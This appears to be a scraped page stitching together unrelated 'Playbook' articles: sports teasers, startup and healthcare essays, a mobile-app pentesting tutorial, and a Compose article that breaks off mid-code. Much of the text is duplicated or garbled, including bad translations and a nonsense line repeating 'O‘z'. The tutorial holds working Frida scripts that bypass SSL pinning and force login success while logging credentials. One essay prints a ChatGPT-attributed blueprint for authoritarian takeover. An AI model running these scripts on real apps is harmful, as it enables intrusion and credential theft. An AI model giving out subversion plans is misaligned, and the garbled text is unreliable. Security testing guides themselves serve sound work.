Everyone knows how important Patrick Mahomes, Josh Allen, Saquon Barkley and Jayden Daniels will be on Sunday. This week's Playbook takes a deep dive into the role players who will matter most.

Football 301 Playbook: Players who will decide the NFC, AFC champions (other than the obvious ones) - Yahoo Sports

Cybersecurity guardrails developed by the Office of the National Cyber Director and the Cybersecurity and Infrastructure Security Agency have been issued for grant-funded infrastructure projects, the White House announced Tuesday. The guidance sets the tools and resources for incorporating cybersecu

Cybersecurity Playbook Set for Infrastructure Project Grants

With another year of hacker break-ins looming before us, now is a great time to evaluate cybersecurity for your trucking business to ensure that you’re using the latest technology to keep cybercriminals at bay.

A Cybersecurity Playbook for Trucking in 2025 | Transport Topics

Stroud is overcoming a slacking run game and poor offensive line play to keep the Texans humming. And could LSU's Garrett Nussmeier be QB1 in the 2025 NFL Draft?

Football 301 Playbook: How C.J. Stroud's MVP-level play is making an ugly Texans offense look good - Yahoo Sports

In the office of the chief financial ... really about finding the right balance between signal and overhead that lays the foundation of an effective finance function,” says Alex Wu, founder and managing […]...

CFO Playbook: Mastering metrics and managing boards for SaaS finance success - Bessemer Venture Partners

Also turning heads: Nico Collins entering the next tier of top wideouts, Jim Harbaugh's Chargers and the Commanders turning the tempo up with a rookie QB.

Football 301 Playbook: 4 weeks into season, here are NFL's top standouts (welcome back, running backs!) and slumps (c'mon, Browns) - Yahoo Sports

Nate Tice dives deeper into these ... let's call them "preseason non-favorites" and identifies what they've shown already that can impact the big road games they all have in Week 4.

Football 301 Playbook: What Steelers, Vikings and Seahawks need to do to surprise us even more and reach 4-0 - Yahoo Sports

This week's Football 301 Playbook digs into each of these five teams' recipe for success so far and how likely it is to continue.

Football 301 Playbook: Can these surprising 2-0 NFL teams sustain their success? - Yahoo Sports

Playbook

playbook

40 Deep-Tech Bets Later: My Playbook for Founders Who Want to Win

Your Ultimate Playbook to Resurrect a Dead Web3 Gaming Community 

We all hear the “reasons why.” Industries run on them. “We prioritize X because it’s efficient.” “Our media covers Y because it’s newsworthy.” “This is the path to success because it’s proven.” For years, I nodded along, trying to fit my own entrepreneurial journey into these accepted narratives. But something always felt… off. The stated reasons rarely told the whole story. It wasn’t until I cultivated a different kind of habit — not just asking “why,” but engaging in Deep Dialogue — that I began to understand the unspoken logic, the invisible rules, that truly govern how industries operate. This wasn’t about aggressive questioning; it was about a genuine, almost anthropological curiosity explored through conversation. And it’s a habit that not only built my resilience but fundamentally shaped how I built my business, MotivBase. Many of us are taught to be skeptical, to question. But often, that just leads to a surface-level debate or makes us “that annoying person.” The real magic happens when you move beyond simple interrogation and into a deeper conversational inquiry. It’s about discussing the stated reasons to such an extent that the unspoken drivers, the basic human or systemic building blocks, naturally begin to surface. Consider the world of market research. It’s common for businesses to prioritize neat statistics over nuanced human stories when trying to understand their customers. The stated reason? ‘Stats are quantifiable and scalable.’ But if you engage in deep dialogue with market researchers and the executives they report to, you start to uncover a different layer of truth. You move past the surface justification to understand that this preference is often about the intense pressure for defensible certainty in high-stakes presentations. It’s about the severely limited time decision-makers have, and an organizational culture where easily digestible numbers are equated with analytical rigor. The unspoken driver isn’t purely about the best data; it’s deeply intertwined with professional safety, navigating internal power structures, and the need to communicate in a way that feels efficient and ‘safe’ to those in charge. Or consider tech media’s fascination with who raised how much money, often overshadowing businesses achieving steady, profitable growth. A deep dialogue reveals it’s not just about “news.” It’s about the media’s role in an ecosystem that craves unicorn narratives, their need to “call it first” for status, and a definition of success heavily influenced by venture capital’s rhythms. My own journey is littered with moments where this habit was crucial. When I was building MotivBase, an AI-powered cultural intelligence platform, the venture capital world repeatedly told me it wouldn’t scale. Their stated reasons were often variations of: “It’s too niche,” “Anthropology isn’t tech,” or “The market isn’t ready for this.” If I had just accepted those statements, or argued against them directly, I wouldn’t have gotten far. Instead, I engaged in (sometimes painful) dialogues. I’d ask, “Help me understand what ‘scalable’ looks like from your perspective?” or “What are the markers you typically see in a business you believe will achieve massive growth?” Through these conversations, the unspoken drivers began to emerge. It wasn’t just about my business model; it was about their models. It was about pattern recognition based on their past successes (and failures), the pressure they faced from their LPs to find billion-dollar outcomes, and an industry built on a certain archetype of “tech founder” and “tech solution.” The invisible rule wasn’t “your idea is bad,” but “your idea doesn’t fit the template that minimizes our risk and maximizes our specific kind of reward.” Understanding this unspoken logic didn’t necessarily make them invest. But it did something far more valuable: it gave me clarity and resilience. It helped me understand that their “no” wasn’t always a reflection of my venture’s potential, but often a reflection of the invisible rules governing their world. This understanding allowed me to seek alternative paths, to bootstrap, to build credibility through evidence and client success, rather than solely through external validation that wasn’t designed for a business like mine. It allowed us to focus on what truly mattered: solving real problems for clients who did see the value, eventually leading to a successful exit. This habit of deep dialogue isn’t about winning an argument. It’s about understanding the terrain. It’s about seeing the hidden currents that shape what people believe is possible, valuable, or credible. It’s a cornerstone of navigating the often-unspoken, invisible rules I explore in my upcoming book, “Invisible Rules: How to Outsmart the Entrepreneurial Game.” It’s a practice that allows you to move with empathy, to build strategies grounded in a deeper reality, and ultimately, to carve your own path, even when the well-trodden ones don’t seem to lead where you want to go. Want early access to my book? Join the Inner Circle Join the Inner Circle

The Startup Playbook Is a Lie. Ask Better Questions.

Die start-up spelboek is 'n leuen. vra beter vrae.

“The Startup Playbook Is a Lie” – Daha yaxşı soruşma.

Das Startup Playbook ist eine Lüge, stellen Sie bessere Fragen.

El Playbook de Startup es una mentira, plantee mejores preguntas.

O Playbook de Startup é unha mentira, fai mellores preguntas.

The Startup Playbook Is a Lie – שאל שאלות טובות יותר.

Startup Playbook se yon minis. Ask pi bon kesyon.

The Startup Playbook Is a Lie. より良い質問をしてください。

The Startup Playbook Is a Lie. د ښه پوښتنو پوهیږئ.

Startup Playbook este o minciună; pune întrebări mai bune.

Mchezo wa Startup ni uongo. kuuliza maswali bora.

O‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z o‘z.

I Asked AI How to Take Over America. The Answer Was Way Too Real. Out of curiosity—and, honestly, a little dread—I asked ChatGPT a question: "If someone wanted to turn America into an authoritarian state... how would they do it?" "If someone wanted to turn America into an authoritarian state... how would they do it?" So I pushed further: "Let’s say I wanted to take over America. Show me how." "Let’s say I wanted to take over America. Show me how." What I got back was disturbingly detailed, methodical, and plausible. I decided to publish it. Unedited. Not satire. Not a blueprint. But absolutely a warning. Step-by-Step Blueprint to Slide into Authoritarianism (U.S. Edition) 1. Undermine Public Trust in Institutions 1. Undermine Public Trust in Institutions Constantly attack the media ("fake news"), the courts ("biased judges"), and elections ("rigged").
Blur the line between truth and fiction so people stop believing in objective reality.
Erode faith in scientific, academic, and governmental expertise. Constantly attack the media ("fake news"), the courts ("biased judges"), and elections ("rigged"). Blur the line between truth and fiction so people stop believing in objective reality. Erode faith in scientific, academic, and governmental expertise. 2. Capture the Judiciary 2. Capture the Judiciary Stack the courts with loyalists who interpret the Constitution through a partisan lens.
Use court rulings to gut civil rights, deregulate power structures, and expand executive authority.
Undermine checks and balances through legal decisions that quietly favor the regime. Stack the courts with loyalists who interpret the Constitution through a partisan lens. Use court rulings to gut civil rights, deregulate power structures, and expand executive authority. Undermine checks and balances through legal decisions that quietly favor the regime. 3. Politicize the Military and Law Enforcement 3. Politicize the Military and Law Enforcement Elevate sympathetic leaders inside the DOJ, FBI, DHS, and Pentagon.
Shift focus from national threats to internal dissent.
Encourage public displays of loyalty from military and police to the ruling figure. Elevate sympathetic leaders inside the DOJ, FBI, DHS, and Pentagon. Shift focus from national threats to internal dissent. Encourage public displays of loyalty from military and police to the ruling figure. 4. Suppress Dissent and Control Information 4. Suppress Dissent and Control Information Label protesters as domestic threats or "enemies of the state."
Use surveillance and facial recognition to monitor activists.
Pressure media platforms to suppress or remove dissenting voices. Label protesters as domestic threats or "enemies of the state." Use surveillance and facial recognition to monitor activists. Pressure media platforms to suppress or remove dissenting voices. 5. Expand Executive Power During Crisis 5. Expand Executive Power During Crisis Exploit emergencies (real or manufactured) to seize extraordinary powers.
Undermine legislative oversight.
Normalize the use of executive orders to bypass democratic processes. Exploit emergencies (real or manufactured) to seize extraordinary powers. Undermine legislative oversight. Normalize the use of executive orders to bypass democratic processes. 6. Attack Electoral Legitimacy 6. Attack Electoral Legitimacy Cast doubt on mail-in ballots, electronic voting, and vote counting.
Promote legislation that limits voting access under the guise of "election integrity."
Refuse to concede elections; claim fraud regardless of outcome. Cast doubt on mail-in ballots, electronic voting, and vote counting. Promote legislation that limits voting access under the guise of "election integrity." Refuse to concede elections; claim fraud regardless of outcome. 7. Flood the Zone with Disinformation 7. Flood the Zone with Disinformation Weaponize social media with propaganda bots.
Spread conflicting narratives so people disengage from seeking truth.
Elevate fringe voices to mainstream platforms to legitimize extremism. Weaponize social media with propaganda bots. Spread conflicting narratives so people disengage from seeking truth. Elevate fringe voices to mainstream platforms to legitimize extremism. 8. Co-opt Religious and Nationalist Movements 8. Co-opt Religious and Nationalist Movements Align with dominant religious ideologies to frame opposition as godless or immoral.
Promote a mythologized national identity that centers on a single race, religion, or class.
Use patriotism as a bludgeon against dissent. Align with dominant religious ideologies to frame opposition as godless or immoral. Promote a mythologized national identity that centers on a single race, religion, or class. Use patriotism as a bludgeon against dissent. 9. Defund and Dismantle Democratic Institutions 9. Defund and Dismantle Democratic Institutions Undermine the independence of federal agencies.
Attack the integrity of civil service and replace professionals with loyalists.
Starve public education and journalism of resources. Undermine the independence of federal agencies. Attack the integrity of civil service and replace professionals with loyalists. Starve public education and journalism of resources. 10. Criminalize Opposition 10. Criminalize Opposition Investigate political enemies on trumped-up charges.
Use vague laws ("incitement," "treason," "un-American activity") to silence critics.
Encourage street-level harassment and violence by unofficial enforcers. Investigate political enemies on trumped-up charges. Use vague laws ("incitement," "treason," "un-American activity") to silence critics. Encourage street-level harassment and violence by unofficial enforcers. This isn’t science fiction. It’s a framework. A path. And many steps are already being tested. The danger isn’t that some dystopian leader "might" use AI to take over America. It’s that the playbook already exists—and AI just confirmed how easy it would be to follow. If democracy is held together by norms, customs, and trust... what happens when those are gone? Think hard. Then speak louder. Written by Mike Stark. Originally published on Medium. Part of a two-part AI series. Follow-up essay:” Efficiency Without Empathy: The Cold Truth About the Coming AI Revolution” Written by Mike Stark. Originally published on Medium. Part of a two-part AI series. Follow-up essay:”

AI's Disturbingly Real Playbook for Authoritarian Takeover

I spent 2019 - 2022 thinking a lot about consumer health insurance while building a consumer health insurance business, getting acqui-hired, and serving as Senior Vice President of Consumer Business at Reliance Health. This essay illustrates how the biggest industries in healthcare make money and how new upstarts can make entrepreneurial profits. But first, let’s talk about the law of conservation of attractive profits by Prof. Clay Christenson. The law of conservation of attractive profits states that in the value chain there is a requisite juxtaposition of modular and interdependent architectures, and of reciprocal processes of commoditization and decommoditization, that exist in order to optimize the performance of what is not good enough. The law states that when modularity and commoditization cause attractive profits to disappear at one stage in the value chain, the opportunity to earn attractive profits with proprietary products will usually emerge at an adjacent stage. The law of conservation of attractive profits states that in the value chain there is a requisite juxtaposition of modular and interdependent architectures, and of reciprocal processes of commoditization and decommoditization, that exist in order to optimize the performance of what is not good enough. The law states that when modularity and commoditization cause attractive profits to disappear at one stage in the value chain, the opportunity to earn attractive profits with proprietary products will usually emerge at an adjacent stage. 💡 The terms modularity and commoditization will be used a lot in this essay, so it’s important that I define them. modularity commoditization 💡 Modularity means that a component in a business’ product value chain isn’t proprietary to the business/product. Instead, the component is created by a 3rd party who’s able to innovate and make the component to very high standards that it makes no sense for businesses that need that component in their product to make it themselves. Example: Most smartphone manufacturers do not make their own phone screens instead they buy them from a supplier, hence phone screens are modular components. Modularity 💡 Commoditization means that the profits in one of the components that make up the product’s value are driven to zero. This often happens because of competition and innovation. When a company commoditizes a component, the expectation is that they’ll unlock value in a different part of the value chain. Example: MTN, the African telecoms giant, started by selling SIM cards for ~$200. When the competition came in, they crashed the price to ~$5 thereby making SIM cards a commodity. The profits they were making on SIM card sales disappeared overnight however this meant they could mass-acquire customers and make the profits on the actual utility of a SIM card (making calls). Commoditization Back to Prof. Clay Christenson’s quote. A simple translation of his quote is that a new business can find a way to make the profits disappear from one part of the business value chain by commoditizing a layer of service or component and make the profits re-appear at another part of the value chain by integrating new service layers or components. A very good example is online travel agencies (OTAs) vs hoteliers and commercial airlines. If you tried picking a place to stay in a new city without an OTA (Ex: Booking.com), you would be constrained by how many properties you can check out since one of the most important things when making a decision on where to stay is trust – trust that the property is good – you would select a property based on their brand because brand is a proxy for trust. Booking.com OTAs make it possible for you to view every property (pictures, reviews, descriptions) in any location hence commoditizing the properties’ brand because the thing you’re looking for (trusted accommodation experiences) is no longer dependent on the property’s brand as the OTA gives you enough information to make the purchase decision. The OTA commoditized all properties and eroded the profits a property would have extracted through the brand they have built while the OTA extracts value from the customer by enabling reservations. Since the OTA collects the money by enabling reservations, they can ask the hotels to give them a commission if they want the guest to stay. You can apply the same value chain disruption to the airline industry vs OTAs too. This is why Booking.com or any hotel booking marketplace can quickly try to replicate Airbnb’s business, but big chain hoteliers like Marriot and Holiday Inn cannot do that because their business value chain is very different. This means that the OTAs are counter-positioned to the hoteliers. Booking.com quickly try to replicate Airbnb’s business A layer being modular means that any player can integrate that layer into their value chain easily, however, profits are stripped away when the layer becomes commoditized while value capture happens on the integrated level. If a layer in the value chain becomes commoditized, then the economic opportunity of capturing value on that layer goes to zero, especially if the innovation that made this new business model possible is disruptive. Read my essay on how businesses make entrepreneurial profits to see how profits go to zero. essay on how businesses make entrepreneurial profits The value chain for people looking to access care looks like this: Hospitals and clinics integrate the facility and trusted care into one service and market it to consumers of healthcare, so you end up picking a facility based on the brand around trusted care that they have built. The payment/billing layer is modularized which means they do not have a direct financial relationship with healthcare consumers, hence the profit opportunities they can pursue are constrained by their integration & value capture layer. The hospitals make their margin from bundling trusted care and the facility together. This is why the rates at each hospital are different and consumers of healthcare make their decision based on how much they trust a health provider not necessarily on price because trust is more important. A hospital can decide to integrate the billing layer into their trusted care + facility layer by charging a membership fee that gives access to all care you need, but because care is not commoditized this value chain restructure will break (no profits to extract) because you need scale economies to extract value from commoditized layers. trusted care + facility care Health insurance providers restructure the value chain to look like this Health insurance providers integrate the payment method with trusted care. The facility becomes a commodity hence the health insurance provider isn’t trying to extract any value from the facility. Their intent is to pay the least amount of money to the healthcare facility so that they can extract more value from the Trusted care + Billing layer. What consumers of healthcare need is trusted care, and the health insurance provider has taken on the job of providing facilities you can access trusted care for free. It’s also in the best interest of the health insurance organization to only offer facilities that give trusted care because it’s cheaper for them (helps retention and reduces costs from patients having multiple encounters from bad care). This is why health insurance providers have teams whose objective is to eliminate fraud and unnecessary risk from healthcare facilities and other providers of healthcare. Trusted care + Billing By bundling the payment method with trusted care, health insurance providers are not constrained by the business model of only being able to offer in-person care like hospitals, they can offer more in their bundle of trusted care or sell you extra services like health financing for care that is not covered within your health insurance plan. In this business model, the profits are not made from the facility and the facility becomes a commodity in the value chain where the prices are the same across all facilities to the health insurance organization. The trusted care + payment integration creates a bundle of several benefits to the consumer and the consumer’s affinity to pay for each of these services varies. A consumer wants dental care, but they feel there’s a low chance of them ever needing surgery, however, the consumer can do mental math and conclude that it’s cheaper to pay for the health insurance plan they select than it’s to pay out of pocket for every procedure they might need to undergo even though there’s a chance that they might only utilize care once. The insurance company makes its margin from the healthcare bundle it sells the consumer. It prices all the risk of providing care then sells you the bundle at a discount to the average amount an average consumer pays for healthcare in a period. So if the average person hospital-goer spends $100 per year on hospital visits, the health insurance company can sell everyone a plan for $80 and assume that not everyone that bought the plan would ever use it. The regular Joe already knows they spend $100 or more on their bad years so an $80 deal you might never use is better than paying >$100 in case you need to use healthcare. trusted care + payment What makes health insurance providers powerful is that they aggregate supply (healthcare providers) on one side and consumers of healthcare on the other side which means that if hospitals want access to healthcare consumers they need to go through health insurance providers, however health insurance companies fail to live up to the economics of a true aggregator like Booking.com or Airbnb because the cost of fulfilling the service has real-world components, which makes it hard for them to flex their strategic muscles (this muscle comes from re-organizing the healthcare value chain) because they are burdened with managing costs. Booking.com In the case of Booking.com, you go there because they have the supply you want (a hotel in the city center) and the hotel agrees to work with them because they have demand (lots of guests). The same thing happens for health insurance providers too. However, this is where the economics take a turn, Booking.com sells you a reservation at a hotel and keeps their commission (they pay zero transaction fees from that commission). It’s the hotel that has real-world costs. Health insurance providers have to pay an expensive transaction fee every time a customer utilizes the product, this fee is a variable cost, and minimizing this variable cost of the transaction requires a lot of managerial complexity in managing costs. This managerial complexity becomes a sunk cost in the organization which gets ingrained in the company’s operations, hence positioning health insurance providers in a tough place that makes it hard to react to new business models. Booking.com Booking.com This is how managing cost can transform the business The cost of care on the right rises very fast because of Capex costs, but once you break even on Capex the costs begin to flatline even as utilization increases. The graph on the right shows that there will always be a proportional increase in cost with every extra bit of utilization so if utilization should skyrocket, the pricing model will break. The complexity of making that curve bend and flat line as utilization increases is hard. For instance, one way to manage costs is to invest more in CAPEX (capital expenditures). You can take a cost from the bundle, turn it into CAPEX and reduce the reliance on real-world fulfillment as possible. Example: replacing primary care consultations with telemedicine consultations. Another example, howbeit expensive and hard to scale: if the providers in the health insurance organization’s network bill them $10 for a primary care medical consult, the health insurance company can invest in building their own health facilities in locations with a lot of their healthcare consumers, hence they can drive the price down to a fraction of $10 (maybe $6 per medical consult assuming the hospital makes a 40% margin). This is the same business case Amazon most likely used to bootstrap their logistic business. Shipping is a variable cost – Amazon pays a relatively fixed fee per item shipped – that adds up to billions of USD every year. Let’s assume Amazon pays $8 per item shipped and they ship 2 billion items per year, that’s $16 Billion they are paying to other logistic providers. Also assuming that logistic providers are keeping $2 out of the $8 as profit, at that very high spend Amazon can turn that cost into Capex. We can assume the logistic providers make $2 as profit on every $8 spent to ship an item which means the cost to service each item shipped is $6. Amazon might be able to drive better efficiency since they are vertically integrating shipping into their business and the cost of shipping each item becomes $5 this means Amazon’s $16 billion in shipping costs can go further. Now that they’ve commoditized shipping within their business through vertical integration they can extract value from the demand side (buyer) through Amazon Prime and the supply side (sellers) through Amazon Seller Central and Fulfilled by Amazon. It took a lot of managerial complexity to bend the cost curve and all of that complexity are sunk costs. If a new model of delivering physical goods came out today that was different from existing technologies of today, it might make it difficult for Amazon to compete because of their overinvestment in managing operational costs. It takes a lot of business attention to bend a cost curve like this through Capex. Scaling these kinds of CAPEX puts any business in a place where they suffer from the managerial complexity of managing those costs. They eventually become sunk costs that the business has to live with because of the nature of their business. Where are the opportunities for a new player One of my best business quotes is by Jim Barksdale, former CEO of Netscape. There are only two ways to make money in business: one is to bundle; the other is unbundle. There are only two ways to make money in business: one is to bundle; the other is unbundle. A good example to illustrate the quote above are banks and Fintechs. Banks bundle a lot of financial products (loans, savings, business banking, investments, et al). Many Fintechs unbundle the different offerings from banks and provide them as a standalone service so you have an app for loans, another app for savings, another app for fixed income investments, another app for stocks, et al. All your different apps provide a superior service to what your bank provides, but you would also notice that your Fintech apps are beginning to bundle services again as they get bigger. Any player bundling a bunch of services together means they are half-assing some of these services no matter how seemingly great they look on the outside. There’s always an opportunity for a player to gain market share when they whole-ass a service and focus on a differentiated product rather than a service/product that is heavily commoditized. A hospital that provides multiple types of care will perform worse than a hospital treating a specific type of disease alone because it’s harder to innovate when you don’t have “focus” as your innovation strategy. The same thing happens in consumer technology where Notion is a better document editor than Google docs, or where Super Human is a better email provider than Gmail. The innovation strategy for Notion and Super Human is to focus on the job to be done whereas Google is attempting to bundle the entire work suite. innovation strategy Now that you realize there’s always opportunity, you can decide to take one part of the value chain and break it down into its own value chain, then reorganize the steps. For instance, you can break down diabetes care (a sub-part of trusted care) as: diabetes care + diabetes drugs + appointment/payment + healthcare consumer diabetes care + diabetes drugs + appointment/payment + healthcare consumer Many pharmacies integrate some section of diabetes care + diabetes drugs as a way to add more margin to their business because people with diabetes are willing to pay for diabetes drugs even if they cost a lot. diabetes care + diabetes drugs You can re-organize this value chain so that you focus on the healthcare consumer (demand) If you own demand (healthcare consumer), it means the cost of acquiring each new customer gets cheaper as you grow. It does not cost Google more money to acquire their n+1 user than it cost to acquire n+∞ user. You can acquire members by making your CAPEX free or self-sustaining especially if the transaction costs are marginal and tend to zero (zero operating costs). For instance: a community where the members share their healthcare experience and help other people to be more successful in taking care of their health has zero operating costs and as the community gets bigger you acquire more customers because the intent for joining the community is to manage bad health. If you own the payment method via appointments, you can extract value through new business models. People with diabetes also need to see a specialist, they need to do advanced investigations, they need insurance cover for every other type of care, and they often will have other pre-existing conditions. The business you build on top of this is up to you, but you might want to read my essay on how businesses make entrepreneurial profits and listen to this podcast on 7 business powers by Jeff Lawson, Twillio’s CEO. essay on how businesses make entrepreneurial profits podcast on 7 business powers

The Startup Playbook for Disrupting Healthcare’s Value Chain

Mobile apps are omnipresent—from social media and enterprise to payment wallets. But most are still open to attack. This handbook is your step-by-step tutorial on pentesting mobile apps in 2025 with code snippets, tool instructions, and advice. Tools Setup Below is a quick Android (Linux/macOS) setup: # Install ADB (Android Debug Bridge)
sudo apt install android-tools-adb

# Install MobSF (in a virtual environment)
git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git
cd Mobile-Security-Framework-MobSF
./setup.sh # Install ADB (Android Debug Bridge)
sudo apt install android-tools-adb

# Install MobSF (in a virtual environment)
git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git
cd Mobile-Security-Framework-MobSF
./setup.sh To decompile an Android APK: # Use JADX
jadx openexploit.apk -d outputfolder

# Use APKTool
apktool d openexploit.apk -o decompiled # Use JADX
jadx openexploit.apk -d outputfolder

# Use APKTool
apktool d openexploit.apk -o decompiled To capture HTTPS traffic (make sure Burp Suite is installed) Prefer watching instead of reading? Here’s a quick video guide Prefer watching instead of reading? Here’s a quick video guide Prefer watching instead of reading? Here’s a quick video guide Prefer watching instead of reading? Here’s a quick video guide https://youtu.be/VwMd4fFFhs0?embedable=true https://youtu.be/VwMd4fFFhs0?embedable=true Information Gathering Simple reconnaissance on an APK file: # Show APK permissions
aapt dump permissions openexploit.apk

# Analyze the manifest
unzip -p openexploit.apk AndroidManifest.xml # Show APK permissions
aapt dump permissions openexploit.apk

# Analyze the manifest
unzip -p openexploit.apk AndroidManifest.xml Check for: android:debuggable="true"
Exported activities, services, and receivers. android:debuggable="true" Exported activities, services, and receivers. Static Analysis Decompile and read the source code for hardcoded secrets: # Using JADX
jadx-gui openexploit.apk # Using JADX
jadx-gui openexploit.apk Look for: String apiKey = "openexploit_api_key"; String apiKey = "openexploit_api_key"; Scan res/values/strings.xml, assets/, and .so native libraries for secrets. Dynamic Analysis Intercept API calls: Use Burp Suite and manipulate app traffic. Set your proxy and monitor requests. Look for JWTs, session cookies, API parameters. Bypass SSL Pinning using Frida: # Android SSL pinning bypass (Frida script)
frida -U -n com.target.openexploit -l frida-ssl-bypass.js # Android SSL pinning bypass (Frida script)
frida -U -n com.target.openexploit -l frida-ssl-bypass.js Sample code snippet of frida-ssl-bypass.js: Java.perform(function () {
  var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
  var SSLContext = Java.use('javax.net.ssl.SSLContext');

  var TrustManager = Java.registerClass({
    name: 'org.wooyun.TrustManager',
    implements: [X509TrustManager],
    methods: {
      checkClientTrusted: function () {},
      checkServerTrusted: function () {},
      getAcceptedIssuers: function () { return []; }
    }
  });

  var TrustManagers = [TrustManager.$new()];
  var SSLContextInit = SSLContext.init;
  SSLContext.init.implementation = function (keyManager, trustManager, secureRandom) {
    SSLContextInit.call(this, keyManager, TrustManagers, secureRandom);
  };
}); Java.perform(function () {
  var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
  var SSLContext = Java.use('javax.net.ssl.SSLContext');

  var TrustManager = Java.registerClass({
    name: 'org.wooyun.TrustManager',
    implements: [X509TrustManager],
    methods: {
      checkClientTrusted: function () {},
      checkServerTrusted: function () {},
      getAcceptedIssuers: function () { return []; }
    }
  });

  var TrustManagers = [TrustManager.$new()];
  var SSLContextInit = SSLContext.init;
  SSLContext.init.implementation = function (keyManager, trustManager, secureRandom) {
    SSLContextInit.call(this, keyManager, TrustManagers, secureRandom);
  };
}); API Testing Utilize Burp Suite to fuzz and test API security. Bypass authentication: POST /api/user/profile HTTP/1.2
Host: www.openexploit.in
Authorization: Bearer [XXXX-XXXX-XXXX-XXXX] POST /api/user/profile HTTP/1.2
Host: www.openexploit.in
Authorization: Bearer [XXXX-XXXX-XXXX-XXXX] Try expired authentication tokens
Remove token and validate if the endpoint still works
Try Insure Direct Object Reference(changind IDs) Try expired authentication tokens Remove token and validate if the endpoint still works Try Insure Direct Object Reference(changind IDs) Use Curl for API testing: curl -X GET https://api.openexploit.in/user/123 \
     -H "Authorization: Bearer authtoken-xxx-xx-xxx-xxx" curl -X GET https://api.openexploit.in/user/123 \
     -H "Authorization: Bearer authtoken-xxx-xx-xxx-xxx" See if you are able to: View other user data
Change roles
Initiate admin endpoints View other user data Change roles Initiate admin endpoints Local Data Storage Analysis Pull data from Android emulator/device: # List app packages
adb shell pm list packages

# Pull openexploit app data (only if rooted)
adb root
adb shell
cd /data/data/com.target.openexploit/ # List app packages
adb shell pm list packages

# Pull openexploit app data (only if rooted)
adb root
adb shell
cd /data/data/com.target.openexploit/ Check these: shared_prefs/ – does any.xml contain credentials?


databases/ – dump SQLite DBs using sqlite3:
sqlite3 openexploit.db sqlite> .tables sqlite> SELECT * FROM users; shared_prefs/ – does any.xml contain credentials? shared_prefs/ – does any.xml contain credentials? databases/ – dump SQLite DBs using sqlite3:
sqlite3 openexploit.db sqlite> .tables sqlite> SELECT * FROM users; databases/ – dump SQLite DBs using sqlite3: sqlite3 openexploit.db sqlite> .tables sqlite> SELECT * FROM users; Reverse Engineering and Code Injection Inject into runtime using Frida + Objection. # Install Objection
pip install objection

# Bypass root detection
objection -g com.target.openexploit explore

# Inside the shell
android root disable # Install Objection
pip install objection

# Bypass root detection
objection -g com.target.openexploit explore

# Inside the shell
android root disable Hooking methods using Frida: Java.perform(function () {
  var Login = Java.use("com.app.login.LoginActivity");
  Login.checkCredentials.implementation = function (user, pass) {
    console.log("User: " + user + ", Pass: " + pass);
    return true;  // force login success
  };
}); Java.perform(function () {
  var Login = Java.use("com.app.login.LoginActivity");
  Login.checkCredentials.implementation = function (user, pass) {
    console.log("User: " + user + ", Pass: " + pass);
    return true;  // force login success
  };
}); Reporting Write an organized report in OWASP MASVS standards. Here is a sample report format: Title: Hardcoded API Key in Source CodeRisk: HighAffected Component: openexploit.apk > MainActivity.javaProof: String apiKey = "XXXX-XXXX-XXXX-XXXX";Impact: Exposed API key can permit unauthorized API calls.Recommendation: Place API keys in a secure backend. Never store secrets in app code. You can use tools such as Dradis or Faraday to document findings. Mobile Common Vulnerabilities Insecure Storage
SSL Pinning
API Authentication
Exported Components
Hardcoded Secrets
Debuggable Builds
Code Injection Insecure Storage SSL Pinning API Authentication Exported Components Hardcoded Secrets Debuggable Builds Code Injection Resource Reference OWASP MASVS & MSTG
Frida
Mobile Security Testing Guide GitHub
Android Pentesting Cheat Sheet
TryHackMe OWASP MASVS & MSTG Frida Mobile Security Testing Guide GitHub Android Pentesting Cheat Sheet TryHackMe Conclusion Mobile app pentesting in 2025 is an most demanding skill for ethical hackers and security engineers. As digital identity moves towards mobile-based, AI-empowered apps, and sophisticated APIs, finding weaknesses is more critical than ever before. Begin small. Practice testing test apps. And always have legal consent prior to testing live apps.

Hack Your App Before Hackers Do: 2025's Mobile Pentesting Playbook

When our team made the jump to Jetpack Compose, one thing immediately stood out - the simplicity of handling lists. No more wrestling with complex adapters, tricky cell updates, or manual diffing; just drop your items into a LazyColumn, add keys, and voilà - instant scrolling magic! But, as you might have guessed, reality isn't always that straightforward. In this article, I'll share how you can strategically transfer your hard earned RecyclerView optimization expertise directly into LazyColumn, ensuring maximum performance from day one. So how exactly do RecyclerView’s battle-tested optimizations map onto LazyColumn’s new playing field? Let’s break it down technique by technique, examining what's directly transferable, what's improved, and what requires a fresh approach to achieve optimal Compose performance. Identity & Content Checks: From DiffUtil to Compose Keys and Immutable Models Identity & Content Checks: From DiffUtil to Compose Keys and Immutable Models In RecyclerView, optimizing the calculation of differences between lists relies heavily on three essential methods: areItemsTheSame(oldItem, newItem) – Checks if two items represent the same logical entity.


areContentsTheSame(oldItem, newItem) – Determines if the item's content has changed, prompting a UI refresh if necessary.


detectMoves – An advanced optimization that speeds up diff calculations, especially beneficial when you know your dataset involves item movements. areItemsTheSame(oldItem, newItem) – Checks if two items represent the same logical entity. areItemsTheSame(oldItem, newItem) – Checks if two items represent the same logical entity. areItemsTheSame(oldItem, newItem) areContentsTheSame(oldItem, newItem) – Determines if the item's content has changed, prompting a UI refresh if necessary. areContentsTheSame(oldItem, newItem) – Determines if the item's content has changed, prompting a UI refresh if necessary. areContentsTheSame(oldItem, newItem) detectMoves – An advanced optimization that speeds up diff calculations, especially beneficial when you know your dataset involves item movements. detectMoves – An advanced optimization that speeds up diff calculations, especially beneficial when you know your dataset involves item movements. detectMoves Jetpack Compose handles these same concepts elegantly. To inform Compose how to efficiently track individual items, you provide a stable key for each one: LazyColumn {
    items(
        items = users,
        key = { user -> user.id } // equivalent to RecyclerView's areItemsTheSame
    ) { user ->
        UserCard(user = user)
    }
} LazyColumn {
    items(
        items = users,
        key = { user -> user.id } // equivalent to RecyclerView's areItemsTheSame
    ) { user ->
        UserCard(user = user)
    }
